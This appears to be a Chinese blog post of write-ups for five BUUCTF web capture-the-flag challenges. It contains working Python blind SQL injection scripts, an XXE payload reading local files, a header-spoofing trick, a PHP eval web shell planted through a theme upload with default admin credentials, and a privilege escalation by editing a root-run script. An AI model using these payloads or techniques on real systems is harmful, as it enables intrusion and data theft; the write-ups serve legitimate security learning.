BUUCTF__web题解合集(六)

前言

  • 开学有希望了。
  • 感觉现在刷题刷到瓶颈了,感觉后面这些题的知识点远远超过我的认知。

1、[BJDCTF 2nd]简单注入

  • 先简单测试一下,发现过滤的东西比较多,单引号双引号都被过滤,并且像slelct、and、union、= 都被过滤了。直接限制了很多方法,但继续测试发现布尔盲注的关键词可行,但没办法闭合语句,也就没办法注入。

  • 没想到sql注入还能要扫目录。扫目录能看到robots.txt,提示存在hint.txt,访问告知了你sql查询语句。

    select * from users where username='$_POST["username"]' and password='$_POST["password"]';
    
  • 很平常的查询语句。但同时有什么用呢,就得结合上面的测试,跑字典发现\没被过滤。而它的作用就是转义。

  • 如果我们 username 传入的是admin\那么\可以把闭合username的单引号转义,也就变成了username='admin\' and password=' 而我们传入的password也就单独成为了一部分,也就给了我们利用的机会。

  • 一般的布尔盲注都是从数据库、表名、字段开始最后到内容,就不可避免的用到select 关键词。但这里已经给出了表名,字段名。并且是在已经select * from users的基础上,所以我们直接截取username,password字段就行。

    or (ascii(substr(username,1,1))>1000)#
    or (ascii(substr(password,1,1))>1000)#
    
  • 结合起来的sql语句就是

    select * from users where username='admin\' and password=' or ascii(substr(password,1,1))>0#';
    
  • 这样的话,因为前面username='admin\' and password='查询不存在。执行 or 后面的来作返回值,从而构成布尔盲注。

  • 并且发现当为真时,回显不同。
    在这里插入图片描述

  • 所以,可以编写python脚本来跑。借用网上师傅的二分法。

import requests
url = "http://14829c94-fa8f-4174-8c65-8a1a71991ba1.node3.buuoj.cn/"

data = {"username":"admin\\","password":""}
result = ""
i = 0

while( True ):
	i = i + 1 
	head=32
	tail=127

	while( head < tail ):
		mid = (head + tail) >> 1

		#payload = "or ascii(substr(username,%d,1))>%d#"%(i,mid)
		payload = "or ascii(substr(password,%d,1))>%d#"%(i,mid)
		
		data['password'] = payload
		r = requests.post(url,data=data)

		if "stronger" in r.text :
			head = mid + 1
		else:
			tail = mid
	
	last = result
	
	if head!=32:
		result += chr(head)
	else:
		break
	print(result)
  • 总结:\在sql注入中的转义作用。

2、[NCTF2019]Fake XML cookbook

  • 开始以为是sql注入。一顿测试毫无反应。 查看源码,也没有独特的东西,扫一下也啥都没有。开始既结束。

  • 然后看wp,没接触过的XML实体注入。有两个介绍文章从XML相关一步一步到XXE漏洞浅谈XML实体注入漏洞

  • 首先第一次接触到XXE漏洞的题,大概看下来,明白这是什么?了解了XML语言类型。及它的利用方式。大概就是依靠外部实体可支持http、file等协议来完成一些操作。

  • 而这题的利用方式就是最简单的利用参数实体+外部实体来实现文件读取。

  • 先抓包看回显,发现我们输入的用户名会有输出。而形式就是获取我们传入的xml文本。
    在这里插入图片描述

  • 所以我们利用参数实体+外部实体,把传入的内容改为读取文件。变成了

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY penson SYSTEM "file:///flag" >
    ]>
    <user><username>&penson;</username><password>penson</password></user>
    
  • 其中的参数实体&penson在上面的外部实体中被赋值为file:///flag 所以输出时就是我们想要的flag。而file协议就不多说是什么了,而读取的文件flag,则是可以试探的比如说,flag.php、flag.txt、flag 等常见flag形式。

  • 所以修改上传。就成功解题。
    在这里插入图片描述

  • 总结:xml注入的利用。

3、[MRCTF2020]PYWebsite

  • 很简单的一道题,打开是flag购买页面,F12可知是前端验证,同时看到一个flag.php。

  • 访问它,提示购买者IP已经被保存,很明显想到XFF伪造本地ip,抓包,在请求头加上

    X-Forwarded-For:127.0.0.1
    

在这里插入图片描述

  • 成功解题。唯一的知识点就是请求头的参数作用。

4、[极客大挑战 2019]FinalSQL

  • 还是这个 sql 注入,但这次的注入点不在登录框,在上面的 id 查询。
  • 测试一番,做过好几个异或注入了,很快能测试出来就是它。1^1返回错误,1^0返回 id=1 的查询结果。
  • 然后继续测发现空格被过滤。/**/不能用,可以用()分割语句。
  • 而payload就是
  • 所以可以用脚本从数据库开始跑。贴上一位大师傅的脚本,主要二分法我不会写,学习一下,下次自己写。
import re
import requests
import string
 
url = "http://9f6539fe-1a9e-400b-bb7f-5eec012bb852.node3.buuoj.cn/search.php"
flag = ''
def payload(i,j):
    # sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)                                #数据库名字          
    # sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)           #表名
    # sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)        #列名
    sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1"%(i,j)
    data = {"id":sql}
    r = requests.get(url,params=data)
    # print (r.url)
    if "Click" in r.text:
        res = 1
    else:
        res = 0
 
    return res
 
def exp():
    global flag
    for i in range(1,10000) :
        print(i,':')
        low = 31
        high = 127
        while low <= high :
            mid = (low + high) // 2
            res = payload(i,mid)
            if res :
                low = mid + 1
            else :
                high = mid - 1
        f = int((low + high + 1)) // 2
        if (f == 127 or f == 31):
            break
        # print (f)
        flag += chr(f)
        print(flag)
 
exp()
print('flag=',flag)
  • 上面的注入 payload 用到了一个ord()函数,其实可以用ASCII()代替。函数介绍

5、[GKCTF2020]老八小超市儿

  • ShopXO商城,一个开源商城系统,直接百度ShopXO漏洞就能找到,比如说前面那篇。

  • 所以,我们仿造步骤,访问/admin.php 。登录admin/shopxo,成功进入后台管理页面。然后左下角。应用商店,下载一个免费的主题,比如说粉红主题。
    在这里插入图片描述

  • 然后本地加一个PHP文件上去。

    <?php
      @eval($_POST[a]);
      phpinfo(); 
    ?>
    

在这里插入图片描述

  • 然后网站主题管理上传安装。
    在这里插入图片描述

  • 然后访问url/public/static/index/lengyu/1.php 就看到了 phpinfo 信息,注意的/lengyu/1.php是我们上次的压缩包文件名+PHP文件名。下载默认的主题文件名太长了就改了它。这里上面写的那篇文章里没有/public/但看它访问的url里有,应该是漏了。

  • 接下来就用蚁剑连接,执行cat /flag 居然是假的flag。

  • 然后同目录下有提示在root目录,但我们没权限访问。我们的登录用户是www-data。

  • 然后是同目录下的auto.sh文件
    在这里插入图片描述

  • 内容是每60秒执行一次 /var/mail/makeflaghint.py 文件。

    #!/bin/sh
    while true; do (python /var/mail/makeflaghint.py &) && sleep 60; done
    
  • 去找到这个文件。作用是更新flag.hint文件。

    import os
    import io
    import time
    os.system("whoami")
    gk1=str(time.ctime())
    gk="\nGet The RooT,The Date Is Useful!"
    f=io.open("/flag.hint", "rb+")
    f.write(str(gk1))
    f.write(str(gk))
    f.close()
    
  • 这里就是得明白auto.sh是以 root 权限运行的,所以我们只需修改 makeflaghint.py 的内容就行。话说咋看出来的,它在蚁剑中文件标红不知道算不算,大部分说是经验。。。

  • 然后就只需在 makeflaghint.py 加上以下就行,位置应该在最后 f.close() 前。至于/root/flag,就是根据之前的提示,flag 在 root 目录下。

    flag=io.open("/root/flag","r").read()
    f.write(str(flag))
    
  • 所以接下来等待60秒,flag.hint文件再次更新就行。
    在这里插入图片描述

  • 总结:这应该算信息收集吧。重点就是auto.sh这里。

最后

  • 我觉得,这样光刷题不行啊,得去学点基础。
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值